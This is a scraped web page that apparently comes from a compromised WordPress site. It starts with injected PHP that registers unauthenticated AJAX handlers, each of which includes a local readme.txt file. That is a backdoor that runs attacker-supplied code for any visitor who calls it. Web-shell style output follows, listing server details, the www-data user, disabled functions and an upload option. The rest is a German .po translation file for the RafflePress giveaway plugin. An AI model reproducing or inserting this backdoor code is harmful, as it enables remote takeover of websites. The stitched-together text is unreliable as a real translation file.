if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs/wp-content/languages/plugins/rafflepress-de_DE.po
# Translation of Plugins - Giveaways and Contests by RafflePress – Get More Website Traffic, Email Subscribers, and Social Followers - Stable (latest release) in German
# This file is distributed under the same license as the Plugins - Giveaways and Contests by RafflePress – Get More Website Traffic, Email Subscribers, and Social Followers - Stable (latest release) package.
msgid ""
msgstr ""
"PO-Revision-Date: 2023-01-25 18:00:44+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: GlotPress/4.0.0-alpha.7\n"
"Language: de\n"
"Project-Id-Version: Plugins - Giveaways and Contests by RafflePress – Get More Website Traffic, Email Subscribers, and Social Followers - Stable (latest release)\n"

#: resources/views/backend-translations.php:654
msgid "Secret Key"
msgstr "Geheimer Schlüssel"

#: resources/views/backend-translations.php:653
msgid "Site Key"
msgstr "Website-Schlüssel"

#: resources/views/backend-translations.php:650
msgid "Recaptcha"
msgstr "reCaptcha"

#: app/entry.php:110
msgid "Username: "
msgstr "Benutzername:"

#: resources/views/backend-translations.php:652
msgid "Enable Invisible Recaptcha"
msgstr "Unsichtbares Recaptcha aktivieren"

#: resources/views/backend-translations.php:626
msgid "Save"
msgstr "Speichern"

#: app/functions-utils.php:195
msgid "Polls & Surveys"
msgstr "Umfragen und Befragungen"

#: app/functions-utils.php:95
msgid "Refer a Friend - Viral"
msgstr "Empfehle einen Freund (Viral)"

#: app/rafflepress.php:673 app/rafflepress.php:702
msgid "Invalid Image"
msgstr "Ungültiges Bild"

#: resources/views/backend-translations.php:522
msgid "This will allow user to select more than one answer."
msgstr "Dadurch kann der Benutzer mehr als eine Antwort auswählen."

#: resources/views/backend-translations.php:521
msgid "Allow Multiple Answers"
msgstr "Erlaube mehrere Antworten"

#: resources/views/backend-translations.php:519
msgid "Add some choices:"
msgstr "Füge einige Auswahlmöglichkeiten hinzu:"

#: resources/views/backend-translations.php:520
msgid "Add Choice"
msgstr "Auswahlmöglichkeit hinzufügen"

#: resources/views/backend-translations.php:198
msgid "Briefly describe what users should do: (HTML is allowed)"
msgstr "Beschreibe kurz, was Benutzer tun sollten: (HTML ist zulässig)"

#: resources/views/frontend-translations.php:96
msgid "Submit Image"
msgstr "Bild absenden"

#: app/rafflepress.php:675
msgid "Image too large. Must be under 5MB"
msgstr "Das Bild ist zu groß. Muss unter 5 MB sein."

#: resources/views/backend-translations.php:518
msgid "Turning this on will automatically add someone to your email list when they sign up for the giveaway."
msgstr "Wenn du diese Option aktivierst, wird die Person automatisch zu deiner E-Mail-Liste hinzugefügt, wenn sie sich für das Gewinnspiel anmeldet."

#: resources/views/backend-translations.php:517
msgid "Trigger on Sign Up"
msgstr "Auslösen bei Anmeldung"

#: app/review.php:98
msgid "Not Really"
msgstr "Nicht wirklich"

#: app/review.php:95
msgid "Are you enjoying RafflePress?"
msgstr "Gefällt dir RafflePress?"

#: app/review.php:114
msgid "I already did"
msgstr "Habe ich schon erledigt"

#: app/review.php:113
msgid "Nope, maybe later"
msgstr "Nein, vielleicht später"

#: app/review.php:112
msgid "Ok, you deserve it"
msgstr "Ok, du hast es verdient"

#: app/review.php:110
msgid "~ John Turner<br>Co-Founder of RafflePress"
msgstr "~ John Turner<br>Mitbegründer von RafflePress"

#: app/review.php:109
msgid "That’s awesome! Could you please do me a BIG favor and give it a 5-star rating on WordPress to help us spread the word and boost our motivation?"
msgstr "Das ist großartig! Könntest du mir bitte einen GROSSEN Gefallen tun und uns bei WordPress mit 5 Sternen bewerten, um uns zu helfen, bekannter zu werden und unsere Motivation zu steigern?"

#: app/review.php:104
msgid "Give Feedback"
msgstr "Feedback geben"

#: app/review.php:102
msgid "We're sorry to hear you aren't enjoying RafflePress. We would love a chance to improve. Could you take a minute and let us know what we can do better?"
msgstr "Wir bedauern, dass dir RafflePress nicht gefällt. Wir würden uns gerne verbessern. Könntest du dir eine Minute Zeit nehmen und uns mitteilen, was wir besser machen können?"

#: app/review.php:105
msgid "No thanks"
msgstr "Nein, danke"

#: resources/views/backend-translations.php:169
msgid "Connect to RafflePress"
msgstr "Verbinde zu RafflePress"

#: resources/views/backend-translations.php:163
msgid "please enter it to Upgrade to the Pro Features."
msgstr "bitte eingeben, um ein Upgrade auf die Pro-Funktionen durchzuführen."

#: resources/views/backend-translations.php:515
msgid "This will validate the user's input with this answer. Leave blank to allow the user to enter anything."
msgstr "Dadurch wird die Eingabe des Benutzers mit dieser Antwort überprüft. Lasse dieses Feld leer, damit der Benutzer etwas eingeben kann."

#: resources/views/backend-translations.php:514
msgid "Validate Answer (optional)"
msgstr "Antwort überprüfen (optional)"

#: app/entry.php:113
msgid "Signed Up: "
msgstr "Registriert: "

#: app/functions-utils.php:154 resources/views/backend-translations.php:516
msgid "Automatic Entry"
msgstr "Automatischer Eintrag"

#: resources/views/frontend-translations.php:95
msgid "Congratulations, you are signed in. Start earning entries by completing the actions below."
msgstr "Herzlichen Glückwunsch, du bist angemeldet. Beginne mit dem Sammeln von Punkten, indem du die folgenden Aktionen ausführst."

#: resources/views/frontend-translations.php:93
msgid "Please Enter a Valid Email."
msgstr "Bitte gib eine gültige E-Mail-Adresse ein."

#: resources/views/frontend-translations.php:92
msgid "Please Enter Your Name."
msgstr "Bitte gib deinen Namen ein."

#: resources/views/frontend-translations.php:91
msgid "Please Enter Your Name and Email."
msgstr "Bitte gib deinen Namen und deine E-Mail-Adresse ein."

#: resources/views/frontend-translations.php:88
msgid "more points by finishing the entries above."
msgstr "weitere Punkte erhalten, indem du die obigen Einträge abschließt."

#: resources/views/frontend-translations.php:87
msgid "Earn up to"
msgstr "Verdienen bis zu"

#: resources/views/frontend-translations.php:94
msgid "Login with"
msgstr "Login mit"

#: resources/views/backend-translations.php:500
msgid "Description"
msgstr "Beschreibung"

#: resources/views/frontend-translations.php:78
msgid "Submit"
msgstr "Absenden"

#: resources/views/backend-translations.php:423
msgid "Allow Logging In with Facebook"
msgstr "Anmeldung mit Facebook zulassen"

#: resources/views/frontend-translations.php:49
msgid "To start earning entries please log in above."
msgstr "Anmelden, um mit dem Sammeln von Einträgen zu beginnen."

#: resources/views/backend-translations.php:511
#: resources/views/frontend-translations.php:38
msgid "Days"
msgstr "Tage"

#: resources/views/backend-translations.php:494
msgid "Days Left"
msgstr "Tage übrig"

#: resources/views/backend-translations.php:512
#: resources/views/frontend-translations.php:39
msgid "Hours"
msgstr "Stunden"

#: resources/views/backend-translations.php:495
msgid "Hours Left"
msgstr "Stunden übrig"

#: resources/views/backend-translations.php:496
#: resources/views/frontend-translations.php:40
msgid "Remaining"
msgstr "Verbleibend"

#: resources/views/backend-translations.php:498
#: resources/views/frontend-translations.php:41
msgid "Starts In"
msgstr "Startet in"

#: resources/views/backend-translations.php:71
#: resources/views/frontend-translations.php:42
msgid "Winners"
msgstr "Gewinner"

#: resources/views/backend-translations.php:53
msgid "Choose Winners Now"
msgstr "Wähle jetzt die Gewinner"

#: resources/views/backend-translations.php:506
#: resources/views/frontend-translations.php:43
msgid "Use Your Email"
msgstr "Nutze deine E-Mail"

#: resources/views/frontend-translations.php:45
msgid "per referral"
msgstr "pro Verweis"

#: resources/views/frontend-translations.php:46
msgid "per day"
msgstr "pro Tag"

#: resources/views/frontend-translations.php:47
msgid "come back and earn more in"
msgstr "komme zurück und sammle mehr in"

#: resources/views/backend-translations.php:340
msgid "Show Winners"
msgstr "Gewinner anzeigen"

#: resources/views/backend-translations.php:95
msgid "See Winners"
msgstr "Gewinner ansehen"

#: resources/views/backend-translations.php:94
#: resources/views/backend-translations.php:101
msgid "Needs Winners"
msgstr "Gewinner benötigt"

#: resources/views/frontend-translations.php:55
msgid "I Visited!"
msgstr "Habe ich besucht!"

#: resources/views/frontend-translations.php:54
msgid "Visit Page"
msgstr "Seite besuchen"

#: resources/views/frontend-translations.php:53
msgid "To get credit for this entry, visit this page."
msgstr "Besuche diese Seite, um einen Punkt für diesen Eintrag zu erhalten."

#: resources/views/frontend-translations.php:52
msgid "Join"
msgstr "Beitreten"

#: resources/views/backend-translations.php:353
msgid "Join our affiliate program"
msgstr "Affiliate-Programm beitreten"

#: resources/views/backend-translations.php:529
#: resources/views/frontend-translations.php:51
msgid "Yes, Please send me emails."
msgstr "Ja, bitte sende mir E-Mails."

#: resources/views/frontend-translations.php:50
msgid "Share your unique URL:"
msgstr "Teile deine eindeutige URL:"

#: resources/views/frontend-translations.php:57
msgid "Like our Page (optional)"
msgstr "Teile unsere Seite (optional)"

#: resources/views/frontend-translations.php:58
msgid "To get credit for this entry, visit our Facebook page. Likes are welcomed, but not required."
msgstr "Besuche unsere Facebook-Seite, um einen Punkt für diesen Eintrag zu erhalten. Likes sind willkommen, aber nicht erforderlich."

#: resources/views/frontend-translations.php:59
msgid "To get credit for this entry, Tweet a message."
msgstr "Twittere eine Nachricht, um einen Punkt für diesen Eintrag zu erhalten."

#: resources/views/frontend-translations.php:60
msgid "Step 1"
msgstr "Schritt 1"

#: resources/views/backend-translations.php:40
msgid "Want to get started creating your first giveaway with RafflePress? By following the step by step instructions in this walkthrough, you can easily publish your first giveaway on your site."
msgstr "Möchtest du mit der Erstellung deines ersten Gewinnspiels mit RafflePress beginnen? Folge den schrittweisen Anweisungen, um deine erste Verlosung zu erstellen."

#: resources/views/frontend-translations.php:61
msgid "Step 2"
msgstr "Schritt 2"

#: resources/views/frontend-translations.php:65
msgid "I Tweeted!"
msgstr "Ich habe getwittert!"

#: resources/views/frontend-translations.php:63
msgid "What's the url of the tweet?"
msgstr "Wie lautet die URL des Tweets?"

#: resources/views/backend-translations.php:619
#: resources/views/frontend-translations.php:62
msgid "Tweet"
msgstr "Tweet"

#: resources/views/frontend-translations.php:67
msgid "Follow"
msgstr "Folgen"

#: app/functions-utils.php:70 resources/views/backend-translations.php:192
#: resources/views/frontend-translations.php:70
msgid "Visit us on Instagram"
msgstr "Besuche uns auf Instagram"

#: resources/views/frontend-translations.php:69
msgid "To get credit for this entry, visit our Instagram page. Follows are welcomed, but not required."
msgstr "Besuche unsere Instagram-Seite, um einen Punkt für diesen Eintrag zu erhalten. Follows sind willkommen, aber nicht erforderlich."

#: resources/views/frontend-translations.php:82
msgid "You have earned"
msgstr "Du hast"

#: resources/views/frontend-translations.php:79
msgid "Complete"
msgstr "Vervollständigen"

#: resources/views/frontend-translations.php:73
msgid "What's your Pinterest username?"
msgstr "Was ist dein Pinterest-Benutzername?"

#: resources/views/backend-translations.php:497
msgid "Prize"
msgstr "Preis"

#: resources/views/backend-translations.php:502
msgid "Image"
msgstr "Bild"

#: resources/views/backend-translations.php:504
msgid "Done Editing"
msgstr "Bearbeitung abgeschlossen"

#: resources/views/backend-translations.php:489
msgid "Heads up!"
msgstr "Achtung!"

#: resources/views/backend-translations.php:490
msgid "This action can only be used once."
msgstr "Diese Aktion kann nur einmal genutzt werden!"

#: resources/views/backend-translations.php:482
msgid "Demo"
msgstr "Demo"

#: resources/views/backend-translations.php:464
msgid "Deleted!"
msgstr "Gelöscht!"

#: resources/views/backend-translations.php:463
msgid "Yes, delete it!"
msgstr "Ja, lösche es!"

#: resources/views/backend-translations.php:465
msgid "Choose Image"
msgstr "Bild auswählen"

#: resources/views/backend-translations.php:461
msgid "Timezone"
msgstr "Zeitzone"

#: resources/views/backend-translations.php:462
msgid "Are you sure you want to delete?"
msgstr "Bist du sicher, dass du das löschen möchtest?"

#: resources/views/backend-translations.php:435
msgid "Layout"
msgstr "Layout"

#: resources/views/backend-translations.php:434
msgid "Design Options"
msgstr "Design-Optionen"

#: resources/views/backend-translations.php:439
msgid "Button Color"
msgstr "Button-Farbe"

#: resources/views/backend-translations.php:441
msgid "Page Background"
msgstr "Seitenhintergrund"

#: resources/views/backend-translations.php:443
msgid "Page Background Color"
msgstr "Hintergrundfarbe der Seite"

#: resources/views/backend-translations.php:445
msgid "Background Image"
msgstr "Hintergrundbild"

#: resources/views/backend-translations.php:426
msgid "Design"
msgstr "Design"

#: resources/views/backend-translations.php:425
msgid "Actions"
msgstr "Aktionen"

#: resources/views/backend-translations.php:323
msgid "Subject"
msgstr "Betreff"

#: resources/views/backend-translations.php:322
msgid "From Name"
msgstr "Name des Absenders"

#: resources/views/backend-translations.php:321
msgid "From Email"
msgstr "E-Mail-Adresse des Absenders"

#: resources/views/backend-translations.php:311
msgid "View Page"
msgstr "Seite anzeigen"

#: resources/views/backend-translations.php:312
msgid "Click here"
msgstr "Hier klicken"

#: resources/views/backend-translations.php:273
msgid "page"
msgstr "Seite"

#: resources/views/backend-translations.php:272
msgid "post"
msgstr "Beitrag"

#: resources/views/backend-translations.php:271
msgid "Create a new"
msgstr "Erstelle eine neue"

#: resources/views/backend-translations.php:256
msgid "WordPress Shortcode"
msgstr "WordPress-Shortcode"

#: app/functions-utils.php:105 resources/views/backend-translations.php:241
msgid "Watch a Video"
msgstr "Ein Video ansehen"

#: resources/views/backend-translations.php:240
msgid "Facebook Page URL"
msgstr "URL der Facebook-Seite"

#: resources/views/backend-translations.php:228
msgid "Share Message"
msgstr "Nachricht teilen"

#: resources/views/backend-translations.php:220
msgid "Share Image"
msgstr "Bild teilen"

#: resources/views/backend-translations.php:219
msgid "Share Text"
msgstr "Text teilen"

#: resources/views/backend-translations.php:213
msgid "Question"
msgstr "Frage"

#: resources/views/backend-translations.php:207
msgid "Please goto the"
msgstr "Bitte gehe zu"

#: resources/views/backend-translations.php:193
msgid "Instagram URL"
msgstr "Instagram-URL"

#: app/contestant.php:120 resources/views/backend-translations.php:188
msgid "No"
msgstr "Nein"

#: app/contestant.php:118 app/review.php:97
#: resources/views/backend-translations.php:187
msgid "Yes"
msgstr "Ja"

#: resources/views/backend-translations.php:183
msgid "Value"
msgstr "Wert"

#: resources/views/backend-translations.php:181
msgid "Title"
msgstr "Titel"

#: resources/views/backend-translations.php:179
msgid "Read the Full Guide"
msgstr "Die vollständige Anleitung lesen"

#: resources/views/backend-translations.php:171
msgid "license"
msgstr "Lizenz"

#: resources/views/backend-translations.php:164
msgid "License Key"
msgstr "Lizenzschlüssel"

#: resources/views/backend-translations.php:144
msgid "License"
msgstr "Lizenz"

#: resources/views/backend-translations.php:142
msgid "Saved!"
msgstr "Gespeichert!"

#: resources/views/backend-translations.php:141
msgid "Save Settings"
msgstr "Einstellungen speichern"

#: resources/views/backend-translations.php:134
msgid "Integrations"
msgstr "Integrationen"

#: resources/views/backend-translations.php:133
msgid "Emails"
msgstr "E-Mails"

#: resources/views/backend-translations.php:132
#: resources/views/backend-translations.php:331
#: resources/views/backend-translations.php:429
msgid "General"
msgstr "Allgemein"

#: resources/views/backend-translations.php:125
#: resources/views/backend-translations.php:424
msgid "Details"
msgstr "Details"

#: resources/views/backend-translations.php:124
msgid "Action"
msgstr "Aktion"

#: resources/views/backend-translations.php:112
msgid "Duplicate"
msgstr "Duplizieren"

#: resources/views/backend-translations.php:111
msgid "Embed"
msgstr "Einbetten"

#: resources/views/backend-translations.php:110
msgid "Preview"
msgstr "Vorschau"

#: resources/views/backend-translations.php:109
msgid "Edit"
msgstr "Bearbeiten"

#: resources/views/backend-translations.php:108
msgid "Status"
msgstr "Status"

#: resources/views/backend-translations.php:106
msgid "Start Date"
msgstr "Start-Datum"

#: resources/views/backend-translations.php:105
msgid "Empty Trash"
msgstr "Papierkorb leeren"

#: resources/views/backend-translations.php:102
msgid "Trash"
msgstr "Papierkorb"

#: resources/views/backend-translations.php:96
msgid "Start Now"
msgstr "Jetzt beginnen"

#: resources/views/backend-translations.php:88
msgid "Users Deleted"
msgstr "Benutzer wurden gelöscht"

#: resources/views/backend-translations.php:86
msgid "Are you sure?"
msgstr "Bist du dir sicher?"

#: resources/views/backend-translations.php:78
msgid "Created"
msgstr "Erstellt"

#: resources/views/backend-translations.php:77
msgid "Entries"
msgstr "Einträge"

#: resources/views/backend-translations.php:76
#: resources/views/backend-translations.php:510
#: resources/views/frontend-translations.php:89
msgid "Name"
msgstr "Name"

#: resources/views/backend-translations.php:75
#: resources/views/frontend-translations.php:90
msgid "Email"
msgstr "E-Mail"

#: resources/views/backend-translations.php:70
msgid "Invalid"
msgstr "Ungültig"

#: resources/views/backend-translations.php:67
msgid "All"
msgstr "Alle"

#: resources/views/backend-translations.php:55
msgid "Loading"
msgstr "Wird geladen"

#: resources/views/backend-translations.php:47
msgid "Users"
msgstr "Benutzer"

#: resources/views/backend-translations.php:38
msgid "Activate"
msgstr "Aktivieren"

#: resources/views/backend-translations.php:37
msgid "Deactivate"
msgstr "Deaktivieren"

#: resources/views/backend-translations.php:36
msgid "Install"
msgstr "Installieren"

#: app/gblock.php:124 resources/views/rafflepress-giveaway.php:766
msgid "Live Preview"
msgstr "Live-Vorschau"

#: app/rafflepress.php:552
msgid "Something appears to be wrong. Make sure you have entered your Twitter Username"
msgstr "Irgendwas scheint nicht zu stimmen. Stelle sicher, dass du deinen Twitter-Benutzernamen eingegeben hast."

#: app/rafflepress.php:546
msgid "It appears you are not following the Twitter User. Click the Twitter Follow Button and then Follow the User."
msgstr "Scheinbar folgst du dem Twitter-Benutzer nicht. Klicke auf den Twitter-Folgen-Button und dann folge dem Benutzer."

#: app/rafflepress.php:528
msgid "Something appears to be wrong. Make sure you have entered your Twitter Username and that it is not the username of the Twitter account to Follow."
msgstr "Irgendwas scheint nicht zu stimmen. Stelle sicher, dass du deinen Twitter-Benutzernamen eingegeben hast und dass es sich nicht um den Benutzernamen des zu verfolgenden Twitter-Kontos handelt."

#: app/giveaway.php:907 app/giveaway.php:922
msgid "Sorry the Page Permalink you assigned already exists. Please Choose a New Page Permalink under Settings > General"
msgstr "Entschuldigung, der verwendete Seiten-Permalink existiert bereits. Bitte wähle einen neuen Seiten-Permalink unter Einstellungen > Allgemein"

#: app/giveaway.php:72 app/giveaway.php:74
msgid "New Giveaway"
msgstr "Neues Gewinnspiel"

#: resources/views/frontend-translations.php:86
msgid "entry for anyone that enters via this link."
msgstr "Punkt für jeden, der über diesen Link teilnimmt."

#: resources/views/frontend-translations.php:85
msgid "entries for anyone that enters via this link."
msgstr "Punkte für jeden, der über diesen Link teilnimmt."

#: resources/views/frontend-translations.php:84
msgid "Get an extra"
msgstr "Erhalte ein Extra"

#: resources/views/frontend-translations.php:77
msgid "To get credit for this entry, select an answer below."
msgstr "Um einen Punkt für diesen Eintrag zu erhalten, wähle unten eine Antwort aus."

#: resources/views/frontend-translations.php:76
msgid "To get credit for this entry, answer the question below."
msgstr "Um einen Punkt für diesen Eintrag zu erhalten, beantworte die Frage darunter."

#: resources/views/frontend-translations.php:75
msgid "Visit Channel"
msgstr "Besuche den Kanal"

#: resources/views/frontend-translations.php:74
msgid "To get credit for this entry, visit our YouTube channel."
msgstr "Erhalte Punkte für diesen Eintrag, indem du unseren YouTube-Kanal besuchst."

#: resources/views/frontend-translations.php:56
msgid "Get Entry!"
msgstr "Hole dir den Punkt!"

#: resources/views/backend-translations.php:509
#: resources/views/frontend-translations.php:81
msgid "Not Using RafflePress Yet?"
msgstr "Verwendest du RafflePress noch nicht?"

#: resources/views/backend-translations.php:503
msgid "Add an image for your prize. Recommended min wide: 480px"
msgstr "Füge ein Bild für deinen Preis hinzu. Empfohlene Mindestbreite: 480&nbsp;px"

#: resources/views/backend-translations.php:501
msgid "Add a description for your pize. HTML allowed."
msgstr "Füge eine Beschreibung für dein Bild hinzu. HTML ist erlaubt."

#: resources/views/backend-translations.php:499
#: resources/views/backend-translations.php:513
msgid "Add a Title for your Prize."
msgstr "Füge einen Titel für deinen Preis hinzu."

#: resources/views/backend-translations.php:488
msgid "Changing templates on an existing giveaway will DELETE existing actions. Are you sure you want apply the new template?"
msgstr "Das Ändern des Templates in einem bestehenden Gewinnspiel LÖSCHT angelegte Aktionen. Möchtest du wirklich das Template wechseln?"

#: resources/views/backend-translations.php:487
msgid "Yes, replace current actions!"
msgstr "Ja, vorhandene Aktionen ersetzten!"

#: resources/views/backend-translations.php:486
msgid "Enter a Giveaway Name and select a Type to get started."
msgstr "Gib einen Gewinnspiel-Namen ein und wähle einen Typ aus, um zu beginnen."

#: resources/views/backend-translations.php:485
msgid "Enter a Giveaway Name."
msgstr "Gib einen Gewinnspiel-Namen ein."

#: resources/views/backend-translations.php:484
msgid "Enter a Giveaway Name to get started."
msgstr "Gib einen Gewinnspiel-Namen ein, um zu beginnen."

#: resources/views/backend-translations.php:481
msgid "Use this Template"
msgstr "Benutze dieses Template"

#: resources/views/backend-translations.php:480
msgid "Selected"
msgstr "Ausgewählt"

#: resources/views/backend-translations.php:473
msgid "Ex. iPad Giveaway"
msgstr "Z.&nbsp;B. iPad Verlosung"

#: resources/views/backend-translations.php:471
msgid "Refer a Friend Entry has already been added."
msgstr "Der Punkt „Empfehle einen Freund“ wurde bereits hinzugefügt."

#: resources/views/backend-translations.php:470
msgid "Get More Traffic"
msgstr "Erhalte mehr Traffic"

#: resources/views/backend-translations.php:469
msgid "Get More Social Engagement"
msgstr "Erhalte mehr soziale Beteiligung"

#: resources/views/backend-translations.php:468
msgid "Get More Subscribers"
msgstr "Erhalte mehr Abonnenten"

#: resources/views/backend-translations.php:467
msgid "Entry Options"
msgstr "Eintrags-Optionen"

#: resources/views/backend-translations.php:460
msgid "Giveaway Ends on..."
msgstr "Gewinnspiel endet am …"

#: resources/views/backend-translations.php:458
msgid "Giveaway Starts on..."
msgstr "Gewinnspiel beginnt am …"

#: resources/views/backend-translations.php:457
msgid "Start and End Time"
msgstr "Start- und Endzeit"

#: resources/views/backend-translations.php:456
msgid "Add Another Prize"
msgstr "Einen weiteren Preis hinzufügen"

#: resources/views/backend-translations.php:455
msgid "Giveaway Prize Details"
msgstr "Gewinnspiel-Preis Details"

#: resources/views/backend-translations.php:454
msgid "Enter your own custom css to tweak the giveaway's design."
msgstr "Gib dein individuelles CSS ein, um das Design des Gewinnspiels zu verändern."

#: resources/views/backend-translations.php:446
msgid "Upload a custom background image."
msgstr "Lade ein individuelles Hintergrundbild hoch."

#: resources/views/backend-translations.php:444
msgid "Choose a background color or enter your own customer color."
msgstr "Wähle eine Hintergrundfarbe oder gib eine individuelle Farbe ein."

#: resources/views/backend-translations.php:442
msgid "(Only applicable to stand alone pages.)"
msgstr "(Gilt nur für eigenständige Seiten.)"

#: resources/views/backend-translations.php:440
msgid "Choose a color or enter your own custom color."
msgstr "Wähle eine Farbe oder gib eine individuelle Farbe ein."

#: resources/views/backend-translations.php:438
msgid "Choose from our beautiful high converting font pairing."
msgstr "Wähle aus unseren wunderschönen hoch-konvertierenden Schriftpaaren."

#: resources/views/backend-translations.php:436
msgid "Choose a layout for your Giveaway."
msgstr "Wähle ein Layout für dein Gewinnspiel."

#: resources/views/backend-translations.php:428
msgid "Changes not saved, are you sure you want to leave?"
msgstr "Änderungen wurden nicht gespeichert. Möchtest du die Seite wirklich verlassen?"

#: resources/views/backend-translations.php:418
msgid ""
"Allows visitors to sign up for your giveaway using their social\n"
"    media accounts."
msgstr "Ermöglicht Besuchern, sich mit ihren sozialen Netzwerken für das Gewinnspiel anzumelden."

#: resources/views/backend-translations.php:411
msgid "These scripts will be fired when someone enters the giveaway."
msgstr "Diese Skripte werden ausgelöst, wenn jemand dem Gewinnspiel betritt."

#: resources/views/backend-translations.php:410
msgid "Conversion Scripts"
msgstr "Conversion-Skripte"

#: resources/views/backend-translations.php:404
msgid ""
"This is important if you are using Giveaway Landing pages.\n"
"    For example you can add your Google Analytics tracking\n"
"    script here."
msgstr ""
"Das ist wichtig, falls du die Gewinnspiel Landing-Pages nutzt.\n"
"    Beispielsweise kannst du hier dein Google Analytics\n"
"    Tracking-Skript einfügen."

#: resources/views/backend-translations.php:403
msgid "These scripts will be fired when the giveaway loads."
msgstr "Diese Skripte werden beim Laden des Gewinnspiels ausgelöst."

#: resources/views/backend-translations.php:402
msgid "On Load Scripts"
msgstr "Skripte beim Laden"

#: resources/views/backend-translations.php:401
#: resources/views/backend-translations.php:431
msgid "Success Tracking"
msgstr "Erfolgskontrolle"

#: resources/views/backend-translations.php:400
msgid "Rules Generated"
msgstr "Erstellte Regeln"

#: resources/views/backend-translations.php:399
msgid "RafflePress Rules Generator"
msgstr "RafflePress Regel-Generator"

#: resources/views/backend-translations.php:398
msgid "Eligible Minimum Age"
msgstr "Zulässiges Mindestalter"

#: resources/views/backend-translations.php:397
msgid "Eligible Locations"
msgstr "Erlaubte Standorte"

#: resources/views/backend-translations.php:396
msgid "Sponsor Country"
msgstr "Land des Sponsors"

#: resources/views/backend-translations.php:395
msgid "Sponsor Address"
msgstr "Adresse des Sponsors"

#: resources/views/backend-translations.php:394
msgid "Sponsor Email"
msgstr "E-Mail des Sponsors"

#: resources/views/backend-translations.php:393
msgid "Sponsor Name"
msgstr "Name des Sponsors"

#: resources/views/backend-translations.php:392
msgid "Enter your rules for the giveaway which will be shown at the bottom of the giveaway."
msgstr "Gib die Regeln für das Gewinnspiel ein, welche am unteren Rand des Gewinnspiels angezeigt werden."

#: resources/views/backend-translations.php:391
msgid "Rules"
msgstr "Regeln"

#: resources/views/backend-translations.php:383
msgid "to get a head start."
msgstr "für einen schnellen Start."

#: resources/views/backend-translations.php:382
msgid "Rules Generator Template"
msgstr "Regel-Generator-Template"

#: resources/views/backend-translations.php:376
msgid "Generate Rules"
msgstr "Regeln generieren"

#: resources/views/backend-translations.php:375
msgid "Giveaway Rules"
msgstr "Gewinnspiel Regeln"

#: resources/views/backend-translations.php:373
msgid "Redirect URL"
msgstr "Weiterleitungs-URL"

#: resources/views/backend-translations.php:372
msgid "Enable Success Redirect"
msgstr "Erfolgs-Weiterleitung aktivieren"

#: resources/views/backend-translations.php:215
msgid "Refer a Friend"
msgstr "Empfehle-einen-Freund"

#: resources/views/backend-translations.php:374
msgid "Enter the full url you'd like to redirect the user to when all actions are completed."
msgstr "Gib die vollständige URL ein, an die der Benutzer weitergeleitet werden soll, wenn alle Aktionen abgeschlossen sind."

#: resources/views/backend-translations.php:359
msgid "Please enter a page permalink to view the landing page."
msgstr "Bitte gib einen Seiten-Permalink ein, um die Landing-Page anzuzeigen."

#: resources/views/backend-translations.php:352
msgid "Enter your affiliate URL and when a visitor clicks the 'Powered by' credit link your affiliate link will be used."
msgstr "Gib deine Partner-URL ein und wenn ein Besucher auf den Link „Powered by“ Link klickt, wird dein Partner-Link verwendet."

#: resources/views/backend-translations.php:345
msgid "Toggle the 'RafflePress' credit link on and off for the giveaway."
msgstr "Schaltet den „RafflePress“ Partner-Link für das Gewinnspiel ein und aus."

#: resources/views/backend-translations.php:344
msgid "RafflePress Link"
msgstr "RafflePress Link"

#: resources/views/backend-translations.php:343
msgid "Limit to 3 sign ups per IP address."
msgstr "Beschränke auf 3 Anmeldungen pro IP-Adresse."

#: resources/views/backend-translations.php:342
msgid "Limit sign ups per IP address to help prevent fraud."
msgstr "Beschränke die Anmeldungen pro IP-Adresse, um Betrug vorzubeugen."

#: resources/views/backend-translations.php:341
msgid "Limit Sign Ups Per IP"
msgstr "Beschränke die Anmeldungen pro IP-Adresse."

#: resources/views/backend-translations.php:339
msgid "Hide Total Entries"
msgstr "Gesamteinträge ausblenden"

#: resources/views/backend-translations.php:338
msgid "Toggle sections on and off for the giveaway."
msgstr "Ein- und Ausschalten von Abschnitten für das Gewinnspiel."

#: resources/views/backend-translations.php:337
msgid "Display Options"
msgstr "Anzeigeoptionen"

#: resources/views/backend-translations.php:336
msgid "View"
msgstr "Anzeigen"

#: resources/views/backend-translations.php:335
msgid "Enter a Giveaway name. User will not see the giveaway's name."
msgstr "Gib einen Gewinnspiel-Namen ein. Der Name des Gewinnspiels wird dem Benutzer nicht angezeigt."

#: resources/views/backend-translations.php:334
msgid "Enter a custom url for landing page. Use all lowercase letters dashes for spaces. "
msgstr "Gib eine individuelle URL für die Landing-Page ein. Verwende nur Kleinbuchstaben und Bindestriche für Leerzeichen. "

#: resources/views/backend-translations.php:333
msgid "Page Permalink"
msgstr "Seiten-Permalink"

#: resources/views/backend-translations.php:332
#: resources/views/backend-translations.php:472
msgid "Giveaway Name"
msgstr "Gewinnspiel-Name"

#: resources/views/backend-translations.php:326
#: resources/views/backend-translations.php:643
msgid ""
"The link the contestant must click to\n"
"    confirm their email."
msgstr ""
"Der Link, auf den der Teilnehmer klicken muss,\n"
"     um seine E-Mail zu bestätigen."

#: resources/views/backend-translations.php:324
msgid "Confirmation Email Message"
